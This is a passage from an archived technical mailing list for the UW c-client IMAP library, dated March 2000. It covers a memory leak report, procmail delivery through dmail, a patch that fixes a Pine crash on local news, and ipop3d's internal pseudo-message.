; Fri, 10 Mar 2000 11:45:34 -0500 Message-Id: <000e01bf8ab2$08cfc870$168aa8c0@tempest> Date: Fri, 10 Mar 2000 11:59:43 -0500 Reply-To: Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Joel Park" To: Subject: Memory leak on WINNT MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN There seems to be a minor memory leak. tcp_close() in tcp_nt.c does not free the memory for stream->remotehost nor does it get freed elsewhere as far as I can see. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Mar 10 09:21:13 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 10 Mar 2000 09:21:12 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA31232 for ; Fri, 10 Mar 2000 09:21:11 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA25383; Fri, 10 Mar 2000 09:21:09 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id JAA09306; Fri, 10 Mar 2000 09:19:39 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id JAA28870 for ; Fri, 10 Mar 2000 09:18:48 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA28899 for ; Fri, 10 Mar 2000 09:18:48 -0800 Received: from icarus.dur.ac.uk (icarus.dur.ac.uk [129.234.1.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA25298 for ; Fri, 10 Mar 2000 09:18:47 -0800 Received: from mercury.dur.ac.uk (mercury.dur.ac.uk [129.234.4.40]) by icarus.dur.ac.uk (8.9.1/8.9.1) with ESMTP id RAA09358 for ; Fri, 10 Mar 2000 17:18:29 GMT Received: from arachne (arachne.dur.ac.uk [129.234.2.4]) by mercury.dur.ac.uk (8.9.1/8.9.1) with ESMTP id RAA09914 for ; Fri, 10 Mar 2000 17:18:28 GMT Message-Id: Date: Fri, 10 Mar 2000 17:18:28 +0000 (GMT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Lee To: c-client@CAC.Washington.EDU Subject: procmail and c-client? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I am new to first-hand experience with c-client, and even newer to procmail. So I hope the following makes sense. We are intending to restructure our "/var/mail" directory (Solaris 2.x) from the default structure "/var/mail/" to a non-default "/var/mail/NN/" or similar (where NN will probably be uid%100). Naturally we are withdrawing support for all mail user agents that use file-based access. And, using c-client, we can cleanly and consistently handle IMAP, POP and sendmail delivery (tmail from imap-utils)). But I notice that "procmail" still requires knowledge of "/var/mail" (as its ORGMAIL). (1) How significant is this? (2) Is there a version or "procmail" that can run with c-client instead? (I realise I could also ask this question on the "procmail" user list, and also that it is one of those questions that, from the perspective of either list, should be asked on the other list!) Thoughts, advice welcome. -- : David Lee I.T. Service : : Systems Programmer Computer Centre : : University of Durham : : http://www.dur.ac.uk/~dcl0tdl South Road : : Durham : : Phone: +44 191 374 2882 U.K. : -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Mar 12 00:25:52 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sun, 12 Mar 2000 00:25:51 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id AAA10277 for ; Sun, 12 Mar 2000 00:25:50 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id AAA01402; Sun, 12 Mar 2000 00:25:48 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id AAA17429; Sun, 12 Mar 2000 00:22:55 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id AAA52602 for ; Sun, 12 Mar 2000 00:20:14 -0800 Received: from srv5.kraft-s.ru (srv5.kraft-s.ru [195.128.153.205]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id AAA06806 for ; Sun, 12 Mar 2000 00:20:13 -0800 Received: from dial-in-cs2-087.kraft-s.ru (pavel@dial-in-cs2-087.kraft-s.ru [195.128.153.87]) by srv5.kraft-s.ru (8.9.3/8.9.3) with ESMTP id MAA26001 for ; Sun, 12 Mar 2000 12:20:04 +0400 Message-Id: Date: Sun, 12 Mar 2000 12:20:01 +0400 (KSK) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Pavel Zhukoff To: c-client@u.washington.edu Subject: Linux, local news, c-client MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: pavel@pearl.localdomain X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, all. Excuse for bad English. I had problems with interaction of the c-client and local news spool. My system: Linux, libc-5.3.12, uw_imap-4.7a, pine-4.21. Pine subscribes for local newsgroups without problem. But at attempt to open local newsgroup (for example #news.local.talks) by a choise its name from the list of subscribed groups - Pine crash with message: [Opening "local.talks" ] Problem detected: "Received abort signal". Pine exiting. IOT trap/Abort (core dumped) Debug file (with -d 5) contains the following lines: About to open folder "local.talks" inbox: "INBOX" Close - saved inbox state: max 0 === mm_exists(3,#news.local.talks) called === end_signals(1) auger_in_signal() about to end_tty_driver end_signals(1) Pine Panic: Received abort signal Is similar, if I try to attempt local news (#news.local.talks - valid group) through imapd, imapd terminated. Pine (and mtest) generate message: [CLOSED] IMAP connection broken (server response). During compilation of the c-client there were following error messages: news.c: In function `news_open': news.c:345: warning: passing arg 3 of `scandir' from incompatible pointer type news.c:345: warning: passing arg 4 of `scandir' from incompatible pointer type And some more: mh.c: In function `mh_ping': mh.c:655: warning: passing arg 3 of `scandir' from incompatible pointer type mh.c:655: warning: passing arg 4 of `scandir' from incompatible pointer type mh.c: In function `mh_append': mh.c:920: warning: passing arg 3 of `scandir' from incompatible pointer type mh.c:920: warning: passing arg 4 of `scandir' from incompatible pointer type mx.c: In function `mx_ping': mx.c:589: warning: passing arg 3 of `scandir' from incompatible pointer type mx.c:589: warning: passing arg 4 of `scandir' from incompatible pointer type Is there problem with my libc? Somebody collided with similar problems? Thank for your attention. -- Pavel Zhukoff lonw@softhome.net Samara, Russia -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Mar 12 18:16:48 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sun, 12 Mar 2000 18:16:47 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id SAA10140 for ; Sun, 12 Mar 2000 18:16:45 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA31910; Sun, 12 Mar 2000 18:16:43 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id SAA05581; Sun, 12 Mar 2000 18:07:45 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id SAA30710 for ; Sun, 12 Mar 2000 18:06:39 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (filop@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA31713 for ; Sun, 12 Mar 2000 18:06:39 -0800 Message-Id: Date: Sun, 12 Mar 2000 17:59:57 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Pavel Zhukoff Cc: c-client@u.washington.edu Subject: re: Linux, local news, c-client In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The compiler warning mesasges ("passing arg 3 of `scandir' from incompatible pointer type") are unimportant. The pointer types actually are compatible in this particular instance; but the compiler can't know that (because in other instances, with the same types, it would not be). The reason why this happens is that different operating systems use different types in scandir(); so some system's compiler will be unhappy. What is important is the crash. See if this patch will fix it. In imap-4.7a/src/osdep/unix/news.c, line 358, change s = (void *) &names; /* stupid language */ to: s = (void *) names; /* stupid language */ Substitute the pine4.21/imap directory tree with the imap-4.7a tree, and rebuild both Pine and imapd. You probably should obtain imap-4.7b: ftp://ftp.cac.washington.edu/mail/imap.tar.Z since it has a couple of other fixes over imap-4.7a. 4.7a and 4.7a are patch releases to 4.7. From pinedev@shivax2.cac.washington.edu Sun Mar 12 23:30:13 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sun, 12 Mar 2000 23:30:13 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id XAA10804 for ; Sun, 12 Mar 2000 23:30:12 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA04177; Sun, 12 Mar 2000 23:30:10 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id XAA00669; Sun, 12 Mar 2000 23:28:24 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id XAA47052 for ; Sun, 12 Mar 2000 23:27:30 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA22638 for ; Sun, 12 Mar 2000 23:27:29 -0800 Received: from david.siemens.de (david.siemens.de [192.35.17.14]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA04144 for ; Sun, 12 Mar 2000 23:27:23 -0800 Received: from mail1.siemens.de (mail1.siemens.de [139.23.33.14]) by david.siemens.de (8.9.3/8.9.3) with ESMTP id IAA00869; Mon, 13 Mar 2000 08:26:28 +0100 (MET) Received: from MOWD019A.mow.siemens.ru ([139.24.18.3]) by mail1.siemens.de (8.9.3/8.9.3) with ESMTP id IAA13883; Mon, 13 Mar 2000 08:26:27 +0100 (MET) Received: from mw1g17c (mw1g17c.mow.siemens.ru [149.202.201.33]) by MOWD019A.mow.siemens.ru with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id GPZP97VH; Mon, 13 Mar 2000 10:28:24 +0300 Message-Id: <000201bf8cbd$712968b0$21c9ca95@mow.siemens.ru> Date: Mon, 13 Mar 2000 10:26:26 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Andrej Borsenkow" To: "David Lee" , Subject: RE: procmail and c-client? In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Envelope-Sender-Is: Andrej.Borsenkow@mow.siemens.ru (at relayer david.siemens.de) X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > > But I notice that "procmail" still requires knowledge of "/var/mail" (as > its ORGMAIL). (1) How significant is this? (2) Is there a version or > "procmail" that can run with c-client instead? > If you mean "can I use procmail as local MDA and deliver to non-standard folder by _DEFAULT_" - answer is "no, it is not possible (without significant procmail rewriting)". But since you mentioned tmail, I assume, you are interested in running procmail out of your .forward files and controlling it with .procmailrc. Then yes, it is possible. Just add something like # # Last resort. If we were given user+folder explicitly, # try to deliver to this folder # :0 | /tools/bin/dmail +$1 to the end of .procmailrc. This will drop all your mail to whatever default INBOX is configured in c-client if no +detail was given (default case). -andrej From pinedev@shivax2.cac.washington.edu Sun Mar 12 23:43:44 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sun, 12 Mar 2000 23:43:43 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id XAA10164 for ; Sun, 12 Mar 2000 23:43:42 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA04354; Sun, 12 Mar 2000 23:43:40 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id XAA29275; Sun, 12 Mar 2000 23:36:52 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id XAA54162 for ; Sun, 12 Mar 2000 23:36:06 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA23208 for ; Sun, 12 Mar 2000 23:36:05 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (trungt@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA04267 for ; Sun, 12 Mar 2000 23:36:05 -0800 Message-Id: Date: Sun, 12 Mar 2000 23:32:51 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Andrej Borsenkow Cc: David Lee , c-client@CAC.Washington.EDU Subject: RE: procmail and c-client? In-Reply-To: <000201bf8cbd$712968b0$21c9ca95@mow.siemens.ru> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN To follow up on Andrej's message, please note that his example invokes dmail instead of tmail. This point deserves emphasis. dmail was specially designed to run under procmail, and is much friendlier than tmail for procmail use. tmail can work, but in general it is better to use dmail for procmail. tmail is intended to be called directly as the local MDA (with no procmail) and as a result has a number of security issues that make tmail less friendly. dmail does not have these problems (but shouldn't be called directly as the local MDA). From pinedev@shivax2.cac.washington.edu Mon Mar 13 08:35:29 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 13 Mar 2000 08:35:29 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA18905 for ; Mon, 13 Mar 2000 08:35:27 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA31437; Mon, 13 Mar 2000 08:35:25 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id IAA26206; Mon, 13 Mar 2000 08:25:36 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id IAA10300 for ; Mon, 13 Mar 2000 08:21:37 -0800 Received: from srv5.kraft-s.ru (srv5.kraft-s.ru [195.128.153.205]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA17734 for ; Mon, 13 Mar 2000 08:21:35 -0800 Received: from dial-in-157.cs1.kraft-s.ru (pavel@dial-in-157.cs1.kraft-s.ru [195.128.154.157]) by srv5.kraft-s.ru (8.9.3/8.9.3) with ESMTP id UAA29594; Mon, 13 Mar 2000 20:21:30 +0400 Message-Id: Date: Mon, 13 Mar 2000 20:21:19 +0400 (KSK) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Pavel Zhukoff To: Mark Crispin Cc: c-client@u.washington.edu Subject: re: Linux, local news, c-client In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: pavel@pearl.localdomain X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 12 Mar 2000, Mark Crispin wrote: > In imap-4.7a/src/osdep/unix/news.c, line 358, change > s = (void *) &names; /* stupid language */ > to: > s = (void *) names; /* stupid language */ Now all works fine. Thanks, Mark. -- Pavel Zhukoff lonw@softhome.net Samara, Russia From pinedev@shivax2.cac.washington.edu Tue Mar 14 16:42:17 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 14 Mar 2000 16:42:17 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA25096 for ; Tue, 14 Mar 2000 16:42:16 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA13806; Tue, 14 Mar 2000 16:42:14 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id QAA11846; Tue, 14 Mar 2000 16:39:19 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id QAA40470 for ; Tue, 14 Mar 2000 16:36:56 -0800 Received: from web2103.mail.yahoo.com (web2103.mail.yahoo.com [128.11.68.247]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id QAA02695 for ; Tue, 14 Mar 2000 16:36:55 -0800 Received: (qmail 16104 invoked by uid 60001); 15 Mar 2000 00:36:55 -0000 Received: from [209.138.167.21] by web2103.mail.yahoo.com; Tue, 14 Mar 2000 16:36:55 PST Message-Id: <20000315003655.16103.qmail@web2103.mail.yahoo.com> Date: Tue, 14 Mar 2000 16:36:55 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: lewst To: c-client@u.washington.edu Subject: "pseudo messages" from ipop3d MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Greetings, I'm currently using ipop3d from the Pine 4.10 distribution to provide POP3 mail service. All works well except that each time I retrieve mail through POP3, ipop3d leaves a mail message in my mailbox that looks like this: From: Mail System Internal Data Subject: DON'T DELETE THIS MESSAGE -- FOLDER INTERNAL DATA Date: Tue, 14 Mar 2000 11:25:25 -0500 (EST) This text is part of the internal format of your mail folder, and is not a real message. It is created automatically by the mail system software. If deleted, important folder data will be lost, and it will be re-created with the data reset to initial values. This is annoying because I have to deal with this message when reading mail using a command line mailer. How can I either disable the generation of this message, or move it out of my mailbox? I've read about the `quell-folder-internal-msg' Pine option, but that doesn't stop ipop3d from creating this message. (Please CC: me on list followups) __________________________________________________ Do You Yahoo!? Talk to your friends online with Yahoo! Messenger. http://im.yahoo.com -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Mar 14 16:49:24 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 14 Mar 2000 16:49:24 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA25241 for ; Tue, 14 Mar 2000 16:49:23 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA14025; Tue, 14 Mar 2000 16:49:21 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id QAA12115; Tue, 14 Mar 2000 16:48:26 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id QAA22932 for ; Tue, 14 Mar 2000 16:47:43 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA30821 for ; Tue, 14 Mar 2000 16:47:42 -0800 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA13619; Tue, 14 Mar 2000 16:47:41 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (msj@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id QAA09489; Tue, 14 Mar 2000 16:47:41 -0800 Message-Id: Date: Tue, 14 Mar 2000 16:46:15 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: lewst Cc: c-client@u.washington.edu Subject: re: "pseudo messages" from ipop3d In-Reply-To: <20000315003655.16103.qmail@web2103.mail.yahoo.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN That internal message is used to implement POP3 and IMAP unique identifiers (UID). Although there is another technique by which POP3 UIDs can be implemented, that technique is not suitable for IMAP. From pinedev@shivax2.cac.washington.edu Wed Mar 15 10:17:35 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 15 Mar 2000 10:17:35 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA05047 for ; Wed, 15 Mar 2000 10:17:34 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA16615; Wed, 15 Mar 2000 10:17:32 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id KAA24624; Wed, 15 Mar 2000 10:14:51 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA56966 for ; Wed, 15 Mar 2000 10:13:55 -0800 Received: from web2103.mail.yahoo.com (web2103.mail.yahoo.com [128.11.68.247]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id KAA23265 for ; Wed, 15 Mar 2000 10:13:54 -0800 Received: (qmail 2729 invoked by uid 60001); 15 Mar 2000 18:13:54 -0000 Received: from [129.24.240.30] by web2103.mail.yahoo.com; Wed, 15 Mar 2000 10:13:54 PST Message-Id: <20000315181354.2728.qmail@web2103.mail.yahoo.com> Date: Wed, 15 Mar 2000 10:13:54 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: lewst To: c-client@u.washington.edu Subject: Re: "pseudo messages" from ipop3d MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > That internal message is used to implement POP3 and IMAP unique identifiers > (UID). Although there is another technique by which POP3 UIDs can be > implemented, that technique is not suitable for IMAP. And there is no way to move this internal message out of the user's Mailbox? If not, how about using the other technique for POP3 UIDs, and the internal message for IMAP? __________________________________________________ Do You Yahoo!? Talk to your friends online with Yahoo! Messenger. http://im.yahoo.com From pinedev@shivax2.cac.washington.edu Wed Mar 15 10:31:47 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 15 Mar 2000 10:31:47 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA12255 for ; Wed, 15 Mar 2000 10:31:45 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA03230; Wed, 15 Mar 2000 10:31:38 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id KAA25414; Wed, 15 Mar 2000 10:30:30 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA30384 for ; Wed, 15 Mar 2000 10:29:11 -0800 Received: from ulysses.noc.ntua.gr (ulysses.noc.ntua.gr [147.102.222.230]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA15491 for ; Wed, 15 Mar 2000 10:29:09 -0800 Received: from dblab.ece.ntua.gr (ithaca.dbnet.ece.ntua.gr [147.102.12.1]) by ulysses.noc.ntua.gr (8.9.3/8.9.3) with ESMTP id UAA03066; Wed, 15 Mar 2000 20:29:07 +0200 (EET) Received: from mbazo.dbnet.ece.ntua.gr (mbazo.dbnet.ece.ntua.gr [147.102.12.8]) by dblab.ece.ntua.gr (8.10.0/8.10.0) with ESMTP id e2FIT5J23505; Wed, 15 Mar 2000 20:29:05 +0200 (EET) Message-Id: Date: Wed, 15 Mar 2000 20:29:04 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Yiorgos Adamopoulos To: lewst Cc: c-client@u.washington.edu Subject: Re: "pseudo messages" from ipop3d In-Reply-To: <20000315181354.2728.qmail@web2103.mail.yahoo.com> References: <20000315181354.2728.qmail@web2103.mail.yahoo.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="us-ascii" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 15 Mar 2000 10:13:54 -0800 (PST) lewst wrote: > Mark Crispin wrote: > > > That internal message is used to implement POP3 and IMAP unique identifiers > > (UID). Although there is another technique by which POP3 UIDs can be > > implemented, that technique is not suitable for IMAP. > > And there is no way to move this internal message out of the user's Mailbox? > If not, how about using the other technique for POP3 UIDs, and the internal > message for IMAP? Hi! As I understand it, since mbox is a *single* file format, this information must be inside the mailbox and not some external file. Having this as an external file, simply means that this is another format, and not mbox. Now about the POP3 technique and using it for IMAP, Mark said: > (UID). Although there is another technique by which POP3 